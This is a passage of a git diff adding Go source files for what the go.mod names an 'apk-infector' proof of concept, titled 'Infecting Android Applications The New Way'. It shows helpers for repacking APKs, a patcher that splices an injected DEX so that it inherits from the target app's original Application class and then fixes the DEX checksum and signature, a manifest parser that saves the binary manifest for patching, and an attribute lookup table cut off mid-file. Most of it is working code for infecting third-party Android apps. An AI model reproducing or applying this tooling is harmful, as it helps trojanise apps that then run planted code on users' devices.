+ // Add some files to the archive.
+ f, err := w.Create(baseInZip + file.Name())
+ if err != nil {
+ fmt.Println(err)
+ }
+ _, err = f.Write(dat)
+ if err != nil {
+ fmt.Println(err)
+ }
+ } else if file.IsDir() {
+
+ // Recurse
+ newBase := basePath + "\\" + file.Name()
+ //fmt.Println("Recursing and Adding SubDir: " + file.Name())
+ //fmt.Println("Recursing and Adding SubDir: " + newBase)
+
+ recPath := baseInZip + file.Name() + "/"
+ addFiles(w, newBase, recPath)
+ }
+ }
+}
+
+
+
+func copy(src, dst string){
+ sourceFileStat, err := os.Stat(src)
+ if err != nil {
+ log.Panic("Failed to inject DEX", err)
+ }
+
+ if !sourceFileStat.Mode().IsRegular() {
+ log.Panic("Failed to inject DEX", err)
+ }
+
+ source, err := os.Open(src)
+ if err != nil {
+ log.Panic("Failed to inject DEX", err)
+ }
+ defer source.Close()
+
+ destination, err := os.Create(dst)
+ if err != nil {
+ log.Panic("Failed to inject DEX", err)
+ }
+ defer destination.Close()
+ _, err = io.Copy(destination, source)
+ if err != nil {
+ log.Panic("Failed to inject DEX", err)
+ }
+}
+
+// Unzip will decompress a zip archive, moving all files and folders
+// within the zip file (parameter 1) to an output directory (parameter 2).
+func unzip(src string, dest string) ([]string, error) {
+
+ var filenames []string
+
+ r, err := zip.OpenReader(src)
+ if err != nil {
+ return filenames, err
+ }
+ defer r.Close()
+
+ for _, f := range r.File {
+
+ // Store filename/path for returning and using later on
+ fpath := filepath.Join(dest, f.Name)
+
+ // Check for ZipSlip. More Info: http://bit.ly/2MsjAWE
+ if !strings.HasPrefix(fpath, filepath.Clean(dest)+string(os.PathSeparator)) {
+ return filenames, fmt.Errorf("%s: illegal file path", fpath)
+ }
+
+ filenames = append(filenames, fpath)
+
+ if f.FileInfo().IsDir() {
+ // Make Folder
+ os.MkdirAll(fpath, os.ModePerm)
+ continue
+ }
+
+ // Make File
+ if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil {
+ return filenames, err
+ }
+
+ outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
+ if err != nil {
+ return filenames, err
+ }
+
+ rc, err := f.Open()
+ if err != nil {
+ return filenames, err
+ }
+
+ _, err = io.Copy(outFile, rc)
+
+ // Close the file without defer to close before next iteration of loop
+ outFile.Close()
+ rc.Close()
+
+ if err != nil {
+ return filenames, err
+ }
+ }
+ return filenames, nil
+}
+
diff --git a/Infecting Android Applications The New Way/master/common/utils.go b/Infecting Android Applications The New Way/master/common/utils.go
new file mode 100644
index 0000000..c310222
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/common/utils.go
@@ -0,0 +1,29 @@
+package common
+
+import (
+ "log"
+ "os"
+ "path/filepath"
+)
+
+var ManifestBinaryPath, _ = filepath.Abs("AndroidManifest.xml")
+
+func WriteChanges(raw []byte, path string) {
+ //Open a new file for writing only
+ file, err := os.OpenFile(
+ path,
+ os.O_WRONLY|os.O_TRUNC|os.O_CREATE,
+ 0666,
+ )
+ if err != nil {
+ panic(err)
+ }
+ defer file.Close()
+
+ // Write bytes to file
+ _, err = file.Write(raw)
+ if err != nil {
+ log.Panic("Failed to write changes to disk", err)
+ }
+}
+
diff --git a/Infecting Android Applications The New Way/master/dex/patcher.go b/Infecting Android Applications The New Way/master/dex/patcher.go
new file mode 100644
index 0000000..245b26a
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/dex/patcher.go
@@ -0,0 +1,209 @@
+package mydex
+
+import (
+ "bytes"
+ "common"
+ "crypto/sha1"
+ "encoding/binary"
+ "hash/adler32"
+ "io/ioutil"
+ "log"
+ "manifest"
+ "path/filepath"
+ "strings"
+)
+
+
+const (
+ // DEX structure offsets
+ fileSizeOff = 0x20
+ mapOff = 0x34
+ dataSizeOff = 0x68
+ signatureOff = 0x20
+ checksumOff = 0xc
+ stringIdsCount = 0x3 //how many stringIds we should change
+ classDataOffOff = 0xe4 //map->class_def_item->class_data_off
+ classDataItemOffOff = 0x29c //map->class_data_item->offset
+ annotationOffItemOff = 0x2a8 //map->annotation_set_item->entries->annotation_off_item
+ mapListOffOff = 0x2b4 //map->map_list->offset
+ posStringIdsChangedOff = 0x84
+)
+
+// this name is patched so we should make it
+// as short as possible
+//var placeholder = "La/a/a;"
+var placeholder = "Lz/z/z;"
+var placeholderLength = len(placeholder) + 1
+var placeholderOff int
+var dexPath, _ = filepath.Abs("InjectedApp.dex")
+var dexPathNew, _ = filepath.Abs("InjectedApp_patched.dex")
+
+// SHA-1 signature (hash) of the rest of the file (everything but magic, checksum, and this field); used to uniquely identify files
+func patchSignature(data []byte) {
+
+ signature := sha1.Sum(data[signatureOff:])
+
+ log.Printf("New DEX Signature = %x\n", signature)
+
+ // patch signature
+ for i := 0; i < 20; i++ {
+ data[0xc+i] = signature[i]
+ }
+}
+
+// adler32 checksum of the rest of the file (everything but magic and this field); used to detect file corruption
+func patchChecksum(data []byte) {
+ checksum := adler32.Checksum(data[checksumOff:])
+
+ log.Printf("New DEX Checksum = %x\n", checksum)
+
+ // patch checksum
+ binary.LittleEndian.PutUint32(data[0x8:], checksum)
+}
+
+// Yes, dex uses sleb and uleb data types not uint32
+// But we use our predictable DEX so we can ignore it
+
+// What is changed in DEX after patching parent class?
+// DEX format doc: https://source.android.com/devices/tech/dalvik/dex-format
+/*
+ header_item->checksum
+ header_item->signature
+ header_item->file_size
+ header_item->map_off
+ header_item->data_size
+ string_id_item->string_data_off
+ map->class_def_item->class_data_off
+ string_data_item->utf16_size
+ map->class_data_item->offset
+ map->annotation_set_item->entries->annotation_off_item
+ map->map_list->offset
+
+ */
+// Do not forget about alignment of some structures!
+
+func Patch() {
+
+ data, err := ioutil.ReadFile(dexPath)
+ if err != nil {
+ log.Panicf("DEX Failed to read %s", dexPath)
+ }
+
+ // calc offset to placeholder
+ placeholderOff = bytes.Index(data, []byte(placeholder))
+
+ log.Printf("placeholderOff = 0x%x\n", placeholderOff)
+
+ // we should add "L" and ";", and convert "."->"/" to be a normal DEX string
+ //tmpName := "z.z.zzzzzzzzzzzzzzzz"
+ oldAppNameNormalized := "L" + strings.ReplaceAll(manifest.OldAppNameUTF8, ".", "/") + ";"
+ //oldAppNameNormalized := "L" + strings.ReplaceAll(tmpName, ".", "/") + ";"
+ newAppName := oldAppNameNormalized + "\x00"
+
+ // patch string len (string_data_item->utf16_size)
+ // -1 - it's a position of len before every string in dex
+ data[placeholderOff - 1] = uint8(len(oldAppNameNormalized))
+
+ // how many bytes we added to DEX?
+ var sizeDiff uint32
+ sizeDiff = uint32(len(newAppName) - placeholderLength)
+ log.Printf("sizeDiff =0x%x", sizeDiff)
+
+ // how many align bytes we should add
+ var alignCount uint32
+ alignCount = 4 - (sizeDiff % 4)
+
+ if alignCount == 4 {
+ alignCount = 0
+ }
+ log.Printf("alignCount = 0x%x", alignCount)
+
+ // patch mapOff (header_item->map_off)
+ var oldMapOff uint32
+ oldMapOff = binary.LittleEndian.Uint32(data[mapOff:])
+ newMapOff := oldMapOff + sizeDiff + alignCount
+ binary.LittleEndian.PutUint32(data[mapOff:], newMapOff)
+ log.Printf("old mapOff = 0x%0x | new mapOff = 0x%0x\n", oldMapOff, newMapOff)
+
+ // patch datasize (header_item->data_size)
+ var oldDataSize uint32
+ oldDataSize = binary.LittleEndian.Uint32(data[dataSizeOff:])
+ newDataSize := oldDataSize + sizeDiff + alignCount
+ binary.LittleEndian.PutUint32(data[dataSizeOff:], newDataSize)
+ log.Printf("old dataSize = 0x%0x | new dataSize = 0x%0x\n", oldDataSize, newDataSize)
+
+ // patch stringIds (string_id_item->string_data_off)
+ // stringIds - table of offsets to strings
+ // offsets counted from the start (0x0)
+ // posStringIdsChangedOff - position in our DEX from which we start changing
+
+ // we hardcoded it because we use our predictable DEX
+ var oldId uint32
+ stringIdsReader := bytes.NewReader(data[posStringIdsChangedOff:])
+
+ j := 0
+
+ for i := 0; i < stringIdsCount; i++ {
+
+ err = binary.Read(stringIdsReader, binary.LittleEndian, &oldId)
+ if err != nil {
+ log.Panic("Failed to read stringId", err)
+ }
+
+ newId := oldId + sizeDiff
+ binary.LittleEndian.PutUint32(data[posStringIdsChangedOff + j:], newId)
+ j += 4
+ }
+
+ // patch map->class_def_item->class_data_off (4 byte)
+ classDataOff := binary.LittleEndian.Uint32(data[classDataOffOff:])
+ newClassDataOff := classDataOff + sizeDiff
+ binary.LittleEndian.PutUint32(data[classDataOffOff:], newClassDataOff)
+
+ log.Printf("off = 0x%x | classDataOff = 0x%x | newClassDataOff = 0x%x",
+ classDataOffOff, classDataOff, newClassDataOff)
+
+ // patch map->class_data_item->offset (dont apply alignment)
+ classDataItemOff := binary.LittleEndian.Uint32(data[classDataItemOffOff:])
+ newClassDataItemOff := classDataItemOff + sizeDiff
+ binary.LittleEndian.PutUint32(data[classDataItemOffOff:], newClassDataItemOff)
+ log.Printf("off = 0x%x | classDataItemOff = 0x%x | newClassDataItemOff = 0x%x",
+ classDataItemOffOff, classDataItemOff, newClassDataItemOff)
+
+ // patch map->annotation_set_item->entries->annotation_off_item
+ annotationOffItem := binary.LittleEndian.Uint32(data[annotationOffItemOff:])
+ newAnnotationOffItem := annotationOffItem + sizeDiff + alignCount
+ binary.LittleEndian.PutUint32(data[annotationOffItemOff:], newAnnotationOffItem)
+ log.Printf("off = 0x%x | annotationOffItem = 0x%x | newAnnotationOffItem = 0x%x",
+ annotationOffItemOff, annotationOffItem, newAnnotationOffItem)
+
+ //patch map->map_list->offset
+ mapListOff := binary.LittleEndian.Uint32(data[mapListOffOff:])
+ newMapListOff := mapListOff + sizeDiff + alignCount
+ binary.LittleEndian.PutUint32(data[mapListOffOff:], newMapListOff)
+ log.Printf("off = 0x%x | mapListOff = 0x%x | newMapListOff = 0x%x",
+ mapListOffOff, mapListOff, newMapListOff)
+
+ // from now we start patching second half of DEX (after array of strings)
+ // but first we need to insert alignment bytes
+ if alignCount != 0 {
+ var alignSlice = make([]byte, alignCount)
+ var alignPos uint32 = 0x220
+ // insert byte alignment
+ data = append(data[:alignPos], append(alignSlice, data[alignPos:]...)...)
+ }
+
+ // insert new parent application name
+ data = append(data[:placeholderOff], append([]byte(newAppName), data[placeholderOff + placeholderLength:]...)...)
+
+ // patch new fileSize (header_item->file_size)
+ var fileSize = uint32(len(data))
+ binary.LittleEndian.PutUint32(data[fileSizeOff:], fileSize)
+
+ log.Printf("fileSize = 0x%x", fileSize)
+
+ patchSignature(data[0:])
+ patchChecksum(data[0:])
+
+ common.WriteChanges(data, dexPathNew)
+}
diff --git a/Infecting Android Applications The New Way/master/go.mod b/Infecting Android Applications The New Way/master/go.mod
new file mode 100644
index 0000000..8ccaebf
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/go.mod
@@ -0,0 +1,5 @@
+module github.com/thatskriptkid/apk-infector-Archinome-PoC
+
+go 1.14
+
+require golang.org/x/text v0.3.3 // indirect
diff --git a/Infecting Android Applications The New Way/master/go.sum b/Infecting Android Applications The New Way/master/go.sum
new file mode 100644
index 0000000..fd5b10f
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/go.sum
@@ -0,0 +1,3 @@
+golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
diff --git a/Infecting Android Applications The New Way/master/manifest/apkparser.go b/Infecting Android Applications The New Way/master/manifest/apkparser.go
new file mode 100644
index 0000000..4e4cb0f
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/apkparser.go
@@ -0,0 +1,174 @@
+// Package apkparser parses AndroidManifest.xml and resources.arsc from Android APKs.
+package manifest
+
+import (
+ "common"
+ "fmt"
+ "io"
+ "log"
+ "os"
+)
+
+type ApkParser struct {
+ apkPath string
+ zip *ZipReader
+
+ encoder ManifestEncoder
+ resources *ResourceTable
+}
+
+// save manifest to disk for binary patching
+
+func (p *ApkParser) SaveManifestToDisk() {
+
+ file := p.zip.File["AndroidManifest.xml"]
+
+ if file == nil {
+ fmt.Errorf("Failed to find %s in APK!", "AndroidManifest.xml")
+ }
+
+ if err := file.Open(); err != nil {
+ panic(err)
+ }
+ defer file.Close()
+
+ // open output file
+ fo, err := os.Create(common.ManifestBinaryPath)
+ if err != nil {
+ panic(err)
+ }
+ // close fo on exit and check for its returned error
+ defer func() {
+ if err := fo.Close(); err != nil {
+ panic(err)
+ }
+ }()
+
+ // make a buffer to keep chunks that are read
+ buf := make([]byte, 1024)
+ for {
+ // read a chunk
+ n, err := file.Read(buf)
+ if err != nil && err != io.EOF {
+ panic(err)
+ }
+ if n == 0 {
+ break
+ }
+
+ // write a chunk
+ if _, err := fo.Write(buf[:n]); err != nil {
+ panic(err)
+ }
+ }
+}
+
+// Calls ParseApkReader
+func ParseApk(path string, encoder ManifestEncoder) {
+ f, zipErr := os.Open(path)
+ if zipErr != nil {
+ log.Panic("Failed to open apk")
+ }
+ defer f.Close()
+
+ ParseApkReader(f, encoder)
+}
+
+// Parse APK's Manifest, including resolving refences to resource values.
+// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
+//
+// zipErr != nil means the APK couldn't be opened. The manifest will be parsed
+// even when resourcesErr != nil, just without reference resolving.
+func ParseApkReader(r io.ReadSeeker, encoder ManifestEncoder) {
+ zip, zipErr := OpenZipReader(r)
+ if zipErr != nil {
+ log.Panic("Failed to open zip reader")
+ }
+ defer zip.Close()
+
+ ParseApkWithZip(zip, encoder)
+}
+
+// Parse APK's Manifest, including resolving refences to resource values.
+// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
+//
+// Use this if you already opened the zip with OpenZip or OpenZipReader before.
+// This method will not Close() the zip.
+//
+// The manifest will be parsed even when resourcesErr != nil, just without reference resolving.
+func ParseApkWithZip(zip *ZipReader, encoder ManifestEncoder) {
+ apkParser := ApkParser{
+ zip: zip,
+ encoder: encoder,
+ }
+
+ fmt.Println("\t--Parsing resources...")
+ apkParser.parseResources()
+
+ fmt.Println("\t--Parsing manifest...")
+ apkParser.ParseXml("AndroidManifest.xml")
+
+ apkParser.SaveManifestToDisk()
+
+}
+
+// Prepare the ApkParser instance, load resources if possible.
+// encoder expects an XML encoder instance, like Encoder from encoding/xml package.
+//
+// This method will not Close() the zip, you are still the owner.
+func NewParser(zip *ZipReader, encoder ManifestEncoder) (parser *ApkParser) {
+ parser = &ApkParser{
+ zip: zip,
+ encoder: encoder,
+ }
+ parser.parseResources()
+ return
+}
+
+func (p *ApkParser) parseResources() {
+ if p.resources != nil {
+ log.Panic("resources is not nil")
+ }
+
+ defer func() {
+ if r := recover(); r != nil {
+ log.Panic("recover() not nil")
+ }
+ }()
+
+ resourcesFile := p.zip.File["resources.arsc"]
+ if resourcesFile == nil {
+ log.Panic("resource.arsc not found")
+ }
+
+ if err := resourcesFile.Open(); err != nil {
+ log.Panic("Failed to open resources.arsc: %s", err.Error())
+ }
+ defer resourcesFile.Close()
+ p.resources = ParseResourceTable(resourcesFile)
+}
+
+func (p *ApkParser) ParseXml(name string) {
+
+ file := p.zip.File[name]
+
+ if file == nil {
+ log.Panicf("Failed to find %s in APK!", name)
+ }
+
+ if err := file.Open(); err != nil {
+ log.Panic("Failed to open manifest")
+ }
+ defer file.Close()
+
+ var lastErr error
+ for file.Next() {
+ if err := ParseXml(&myReader{r: file}, p.encoder, p.resources); err != nil {
+ lastErr = err
+ }
+ }
+
+ if lastErr == ErrPlainTextManifest {
+ log.Panic("Manifest in plaintext")
+ }
+}
diff --git a/Infecting Android Applications The New Way/master/manifest/attributes.go b/Infecting Android Applications The New Way/master/manifest/attributes.go
new file mode 100644
index 0000000..67223bf
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/manifest/attributes.go
@@ -0,0 +1,2471 @@
+package manifest
+
+// grep 'public static final int [a-zA-Z_]*=0x0101' R.java
+func getAttributteName(id uint32) string {
+ switch id {
+ case 0x0101006a:
+ return "absListViewStyle"
+ case 0x01010380:
+ return "accessibilityEventTypes"
+ case 0x01010382:
+ return "accessibilityFeedbackType"
+ case 0x01010384:
+ return "accessibilityFlags"
+ case 0x010103ee:
+ return "accessibilityLiveRegion"
+ case 0x010104d2:
+ return "accessibilityTraversalAfter"
+ case 0x010104d1:
+ return "accessibilityTraversalBefore"
+ case 0x0101029f:
+ return "accountPreferences"
+ case 0x0101028f:
+ return "accountType"
+ case 0x0101002d:
+ return "action"
+ case 0x0101039b:
+ return "actionBarDivider"
+ case 0x0101039c:
+ return "actionBarItemBackground"
+ case 0x0101048d:
+ return "actionBarPopupTheme"
+ case 0x010102eb:
+ return "actionBarSize"
+ case 0x01010388:
+ return "actionBarSplitStyle"
+ case 0x010102ce:
+ return "actionBarStyle"
+ case 0x010102f4:
+ return "actionBarTabBarStyle"
+ case 0x010102f3:
+ return "actionBarTabStyle"
+ case 0x010102f5:
+ return "actionBarTabTextStyle"
+ case 0x01010431:
+ return "actionBarTheme"
+ case 0x01010397:
+ return "actionBarWidgetTheme"
+ case 0x010102d8:
+ return "actionButtonStyle"
+ case 0x010102d7:
+ return "actionDropDownStyle"
+ case 0x010102fb:
+ return "actionLayout"
+ case 0x01010360:
+ return "actionMenuTextAppearance"
+ case 0x01010361:
+ return "actionMenuTextColor"
+ case 0x010102db:
+ return "actionModeBackground"
+ case 0x010102f7:
+ return "actionModeCloseButtonStyle"
+ case 0x010102dc:
+ return "actionModeCloseDrawable"
+ case 0x01010312:
+ return "actionModeCopyDrawable"
+ case 0x01010311:
+ return "actionModeCutDrawable"
+ case 0x0101047a:
+ return "actionModeFindDrawable"
+ case 0x01010313:
+ return "actionModePasteDrawable"
+ case 0x0101037e:
+ return "actionModeSelectAllDrawable"
+ case 0x01010479:
+ return "actionModeShareDrawable"
+ case 0x0101039d:
+ return "actionModeSplitBackground"
+ case 0x01010394:
+ return "actionModeStyle"
+ case 0x0101047b:
+ return "actionModeWebSearchDrawable"
+ case 0x010102f6:
+ return "actionOverflowButtonStyle"
+ case 0x01010444:
+ return "actionOverflowMenuStyle"
+ case 0x01010389:
+ return "actionProviderClass"
+ case 0x010102fc:
+ return "actionViewClass"
+ case 0x010102fd:
+ return "activatedBackgroundIndicator"
+ case 0x010100ba:
+ return "activityCloseEnterAnimation"
+ case 0x010100bb:
+ return "activityCloseExitAnimation"
+ case 0x010100b8:
+ return "activityOpenEnterAnimation"
+ case 0x010100b9:
+ return "activityOpenExitAnimation"
+ case 0x010103e6:
+ return "addPrintersActivity"
+ case 0x010100f0:
+ return "addStatesFromChildren"
+ case 0x0101011e:
+ return "adjustViewBounds"
+ case 0x010103f1:
+ return "advancedPrintOptionsActivity"
+ case 0x01010355:
+ return "alertDialogIcon"
+ case 0x0101005d:
+ return "alertDialogStyle"
+ case 0x01010309:
+ return "alertDialogTheme"
+ case 0x0101037a:
+ return "alignmentMode"
+ case 0x010102cc:
+ return "allContactsName"
+ case 0x01010280:
+ return "allowBackup"
+ case 0x01010005:
+ return "allowClearUserData"
+ case 0x010103f5:
+ return "allowEmbedded"
+ case 0x01010332:
+ return "allowParallelSyncs"
+ case 0x01010259:
+ return "allowSingleTap"
+ case 0x01010204:
+ return "allowTaskReparenting"
+ case 0x010104df:
+ return "allowUndo"
+ case 0x0101031f:
+ return "alpha"
+ case 0x010101e3:
+ return "alphabeticShortcut"
+ case 0x010100ef:
+ return "alwaysDrawnWithCache"
+ case 0x01010203:
+ return "alwaysRetainTaskState"
+ case 0x010104a5:
+ return "amPmBackgroundColor"
+ case 0x010104a4:
+ return "amPmTextColor"
+ case 0x010104be:
+ return "ambientShadowAlpha"
+ case 0x010101a0:
+ return "angle"
+ case 0x010102d5:
+ return "animateFirstView"
+ case 0x010102f2:
+ return "animateLayoutChanges"
+ case 0x0101025c:
+ return "animateOnClick"
+ case 0x010101cd:
+ return "animation"
+ case 0x010100ed:
+ return "animationCache"
+ case 0x01010112:
+ return "animationDuration"
+ case 0x010101ce:
+ return "animationOrder"
+ case 0x0101031a:
+ return "animationResolution"
+ case 0x0101011a:
+ return "antialias"
+ case 0x0101026c:
+ return "anyDensity"
+ case 0x010103ed:
+ return "apduServiceBanner"
+ case 0x01010211:
+ return "apiKey"
+ case 0x010102b4:
+ return "author"
+ case 0x01010018:
+ return "authorities"
+ case 0x0101030f:
+ return "autoAdvanceViewId"
+ case 0x0101006b:
+ return "autoCompleteTextViewStyle"
+ case 0x010100b0:
+ return "autoLink"
+ case 0x010103ea:
+ return "autoMirrored"
+ case 0x01010447:
+ return "autoRemoveFromRecents"
+ case 0x010102b5:
+ return "autoStart"
+ case 0x0101016a:
+ return "autoText"
+ case 0x0101028c:
+ return "autoUrlDetect"
+ case 0x010104ee:
+ return "autoVerify"
+ case 0x010100d4:
+ return "background"
+ case 0x01010032:
+ return "backgroundDimAmount"
+ case 0x0101021f:
+ return "backgroundDimEnabled"
+ case 0x0101038b:
+ return "backgroundSplit"
+ case 0x0101038a:
+ return "backgroundStacked"
+ case 0x0101046b:
+ return "backgroundTint"
+ case 0x0101046c:
+ return "backgroundTintMode"
+ case 0x0101027f:
+ return "backupAgent"
+ case 0x010103f2:
+ return "banner"
+ case 0x0101031c:
+ return "baseline"
+ case 0x01010122:
+ return "baselineAlignBottom"
+ case 0x01010126:
+ return "baselineAligned"
+ case 0x01010127:
+ return "baselineAlignedChildIndex"
+ case 0x0101032b:
+ return "borderlessButtonStyle"
+ case 0x010101b0:
+ return "bottom"
+ case 0x010100cd:
+ return "bottomBright"
+ case 0x010100c9:
+ return "bottomDark"
+ case 0x010101ab:
+ return "bottomLeftRadius"
+ case 0x010100ce:
+ return "bottomMedium"
+ case 0x01010257:
+ return "bottomOffset"
+ case 0x010101ac:
+ return "bottomRightRadius"
+ case 0x01010304:
+ return "breadCrumbShortTitle"
+ case 0x01010303:
+ return "breadCrumbTitle"
+ case 0x010104dd:
+ return "breakStrategy"
+ case 0x0101014e:
+ return "bufferType"
+ case 0x01010107:
+ return "button"
+ case 0x0101032f:
+ return "buttonBarButtonStyle"
+ case 0x0101048b:
+ return "buttonBarNegativeButtonStyle"
+ case 0x0101048a:
+ return "buttonBarNeutralButtonStyle"
+ case 0x01010489:
+ return "buttonBarPositiveButtonStyle"
+ case 0x0101032e:
+ return "buttonBarStyle"
+ case 0x01010048:
+ return "buttonStyle"
+ case 0x0101004a:
+ return "buttonStyleInset"
+ case 0x01010049:
+ return "buttonStyleSmall"
+ case 0x0101004b:
+ return "buttonStyleToggle"
+ case 0x0101046f:
+ return "buttonTint"
+ case 0x01010470:
+ return "buttonTintMode"
+ case 0x01010101:
+ return "cacheColorHint"
+ case 0x0101049b:
+ return "calendarTextColor"
+ case 0x0101034c:
+ return "calendarViewShown"
+ case 0x0101035d:
+ return "calendarViewStyle"
+ case 0x010103d8:
+ return "canRequestEnhancedWebAccessibility"
+ case 0x010103d9:
+ return "canRequestFilterKeyEvents"
+ case 0x010103d7:
+ return "canRequestTouchExplorationMode"
+ case 0x01010385:
+ return "canRetrieveWindowContent"
+ case 0x01010230:
+ return "candidatesTextStyleSpans"
+ case 0x01010169:
+ return "capitalize"
+ case 0x010103e8:
+ return "category"
+ case 0x010100cc:
+ return "centerBright"
+ case 0x0101020b:
+ return "centerColor"
+ case 0x010100c8:
+ return "centerDark"
+ case 0x010100cf:
+ return "centerMedium"
+ case 0x010101a2:
+ return "centerX"
+ case 0x010101a3:
+ return "centerY"
+ case 0x0101008f:
+ return "checkBoxPreferenceStyle"
+ case 0x01010108:
+ return "checkMark"
+ case 0x010104a7:
+ return "checkMarkTint"
+ case 0x010104a8:
+ return "checkMarkTintMode"
+ case 0x010101e5:
+ return "checkable"
+ case 0x010101e0:
+ return "checkableBehavior"
+ case 0x0101006c:
+ return "checkboxStyle"
+ case 0x01010106:
+ return "checked"
+ case 0x01010148:
+ return "checkedButton"
+ case 0x010103c8:
+ return "checkedTextViewStyle"
+ case 0x01010111:
+ return "childDivider"
+ case 0x0101010c:
+ return "childIndicator"
+ case 0x010103d4:
+ return "childIndicatorEnd"
+ case 0x0101010f:
+ return "childIndicatorLeft"
+ case 0x01010110:
+ return "childIndicatorRight"
+ case 0x010103d3:
+ return "childIndicatorStart"
+ case 0x0101012b:
+ return "choiceMode"
+ case 0x01010015:
+ return "clearTaskOnLaunch"
+ case 0x010100e5:
+ return "clickable"
+ case 0x010100ea:
+ return "clipChildren"
+ case 0x0101020a:
+ return "clipOrientation"
+ case 0x010100eb:
+ return "clipToPadding"
+ case 0x01010481:
+ return "closeIcon"
+ case 0x01010242:
+ return "codes"
+ case 0x0101014b:
+ return "collapseColumns"
+ case 0x010104d0:
+ return "collapseContentDescription"
+ case 0x010101a5:
+ return "color"
+ case 0x01010435:
+ return "colorAccent"
+ case 0x01010390:
+ return "colorActivatedHighlight"
+ case 0x01010031:
+ return "colorBackground"
+ case 0x010102ab:
+ return "colorBackgroundCacheHint"
+ case 0x010104e2:
+ return "colorBackgroundFloating"
+ case 0x0101042b:
+ return "colorButtonNormal"
+ case 0x0101042a:
+ return "colorControlActivated"
+ case 0x0101042c:
+ return "colorControlHighlight"
+ case 0x01010429:
+ return "colorControlNormal"
+ case 0x010104ce:
+ return "colorEdgeEffect"
+ case 0x0101038f:
+ return "colorFocusedHighlight"
+ case 0x01010030:
+ return "colorForeground"
+ case 0x01010206:
+ return "colorForegroundInverse"
+ case 0x0101038e:
+ return "colorLongPressedHighlight"
+ case 0x01010391:
+ return "colorMultiSelectHighlight"
+ case 0x0101038d:
+ return "colorPressedHighlight"
+ case 0x01010433:
+ return "colorPrimary"
+ case 0x01010434:
+ return "colorPrimaryDark"
+ case 0x01010377:
+ return "columnCount"
+ case 0x010101cf:
+ return "columnDelay"
+ case 0x01010378:
+ return "columnOrderPreserved"
+ case 0x01010117:
+ return "columnWidth"
+ case 0x01010485:
+ return "commitIcon"
+ case 0x01010365:
+ return "compatibleWidthLimitDp"
+ case 0x01010172:
+ return "completionHint"
+ case 0x01010173:
+ return "completionHintView"
+ case 0x01010174:
+ return "completionThreshold"
+ case 0x0101001f:
+ return "configChanges"
+ case 0x0101025d:
+ return "configure"
+ case 0x01010196:
+ return "constantSize"
+ case 0x0101025b:
+ return "content"
+ case 0x010104b9:
+ return "contentAgeHint"
+ case 0x01010290:
+ return "contentAuthority"
+ case 0x01010273:
+ return "contentDescription"
+ case 0x01010454:
+ return "contentInsetEnd"
+ case 0x01010455:
+ return "contentInsetLeft"
+ case 0x01010456:
+ return "contentInsetRight"
+ case 0x01010453:
+ return "contentInsetStart"
+ case 0x010104e7:
+ return "contextClickable"
+ case 0x010104ba:
+ return "country"
+ case 0x01010123:
+ return "cropToPadding"
+ case 0x01010152:
+ return "cursorVisible"
+ case 0x010102d2:
+ return "customNavigationLayout"
+ case 0x0101033b:
+ return "customTokens"
+ case 0x010101d4:
+ return "cycles"
+ case 0x010101a7:
+ return "dashGap"
+ case 0x010101a6:
+ return "dashWidth"
+ case 0x0101002e:
+ return "data"
+ case 0x010104ac:
+ return "datePickerDialogTheme"
+ case 0x010104b3:
+ return "datePickerMode"
+ case 0x0101035c:
+ return "datePickerStyle"
+ case 0x01010349:
+ return "dateTextAppearance"
+ case 0x01010494:
+ return "dayOfWeekBackground"
+ case 0x01010495:
+ return "dayOfWeekTextAppearance"
+ case 0x0101000f:
+ return "debuggable"
+ case 0x010101ed:
+ return "defaultValue"
+ case 0x010101cc:
+ return "delay"
+ case 0x010101ec:
+ return "dependency"
+ case 0x010100f1:
+ return "descendantFocusability"
+ case 0x01010020:
+ return "description"
+ case 0x010102a6:
+ return "detachWallpaper"
+ case 0x010102a3:
+ return "detailColumn"
+ case 0x010102a4:
+ return "detailSocialSummary"
+ case 0x0101034e:
+ return "detailsElementBackground"
+ case 0x01010102:
+ return "dial"
+ case 0x010101f4:
+ return "dialogIcon"
+ case 0x010101f7:
+ return "dialogLayout"
+ case 0x010101f3:
+ return "dialogMessage"
+ case 0x01010091:
+ return "dialogPreferenceStyle"
+ case 0x010104d3:
+ return "dialogPreferredPadding"
+ case 0x01010308:
+ return "dialogTheme"
+ case 0x010101f2:
+ return "dialogTitle"
+ case 0x01010166:
+ return "digits"
+ case 0x010101d1:
+ return "direction"
+ case 0x010103a1:
+ return "directionDescriptions"
+ case 0x010101d2:
+ return "directionPriority"
+ case 0x010101f1:
+ return "disableDependentsState"
+ case 0x01010033:
+ return "disabledAlpha"
+ case 0x010102d0:
+ return "displayOptions"
+ case 0x0101011c:
+ return "dither"
+ case 0x01010129:
+ return "divider"
+ case 0x0101012a:
+ return "dividerHeight"
+ case 0x0101032c:
+ return "dividerHorizontal"
+ case 0x0101032a:
+ return "dividerPadding"
+ case 0x0101030a:
+ return "dividerVertical"
+ case 0x01010445:
+ return "documentLaunchMode"
+ case 0x010100fc:
+ return "drawSelectorOnTop"
+ case 0x01010199:
+ return "drawable"
+ case 0x0101016e:
+ return "drawableBottom"
+ case 0x01010393:
+ return "drawableEnd"
+ case 0x0101016f:
+ return "drawableLeft"
+ case 0x01010171:
+ return "drawablePadding"
+ case 0x01010170:
+ return "drawableRight"
+ case 0x01010392:
+ return "drawableStart"
+ case 0x010104d6:
+ return "drawableTint"
+ case 0x010104d7:
+ return "drawableTintMode"
+ case 0x0101016d:
+ return "drawableTop"
+ case 0x010100e8:
+ return "drawingCacheQuality"
+ case 0x01010263:
+ return "dropDownAnchor"
+ case 0x01010283:
+ return "dropDownHeight"
+ case 0x01010088:
+ return "dropDownHintAppearance"
+ case 0x010102ac:
